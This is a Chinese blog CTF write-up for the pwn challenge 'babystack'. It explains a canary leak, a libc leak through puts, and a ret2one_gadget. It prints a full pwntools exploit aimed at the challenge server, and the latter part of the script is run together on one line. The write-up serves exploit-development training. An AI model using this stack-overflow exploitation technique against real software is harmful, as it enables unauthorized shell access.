zoukankan      html  css  js  c++  java
  • 攻防世界pwn高手区——pwn1

    攻防世界 —— pwn1

    攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。

    题目流程

    拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。

    解题思路

    程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。

    exp如下所示:

    from pwn import *
    context.log_level='debug'
    DEBUG=0
    if DEBUG:
        io=process('./babystack')
    else:
        io=remote('220.249.52.133',30008)
    
    elf=ELF('./babystack')
    libc=ELF('./libc-2.23.so')
    get_shell=0x45216
    #onegadget的地址
    read_plt
    =elf.plt['read'] write_plt=elf.plt['write'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] puts_off=libc.sym['puts'] pop_rdi_ret=0x400a93 pppppp_ret=0x400A8A movret=0x400a70 main_addr=0x400909 io.recv() io.sendline(str(1)) payload='a'*0x88+' ' #这里' '覆写Canary最低字节 io.send(payload) io.recv() io.sendline(str(2)) io.recvuntil('a'*0x88) Canary=u64(io.recv(8))-0xa #泄露出Canary print("Canary:{}".format(hex(Canary))) io.recv() io.sendline(str(1)) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址 io.send(payload) io.sendafter('>> ',str(3)) puts_addr=u64(io.recv(8).ljust(8,'x00')) libc_addr=puts_addr-libc.symbols['puts'] execve_addr=libc_addr+0x45216 print("puts_addr:{}".format(hex(puts_addr))) print("libc_addr:{}".format(hex(libc_addr))) print("execve_addr:{}".format(hex(execve_addr))) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(execve_addr) #ret2One_gadget io.sendlineafter('>> ',str(1)) io.send(payload) io.sendlineafter('>> ',str(3)) io.interactive()
  • 相关阅读:
    04-struts2框架中获取servlet api及Result结果类型
    03-Action类的创建方式及访问
    一位资深程序员大牛给予Java初学者的学习建议(转)
    C++中数组指针
    Ubuntu 开机出现 grub rescue> 终端模式修复方法
    windows和linux双系统下扩容方法
    C 字符串处理
    C++类中变量定义初始化总结
    python创建xml
    OpenBlas compile centOS6.7 ./kernel/x86_64/dgemm_kernel_4x4_haswell.S:2548: Error: no such instruction: `vpermpd $
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/13270308.html
Copyright © 2011-2022 走看看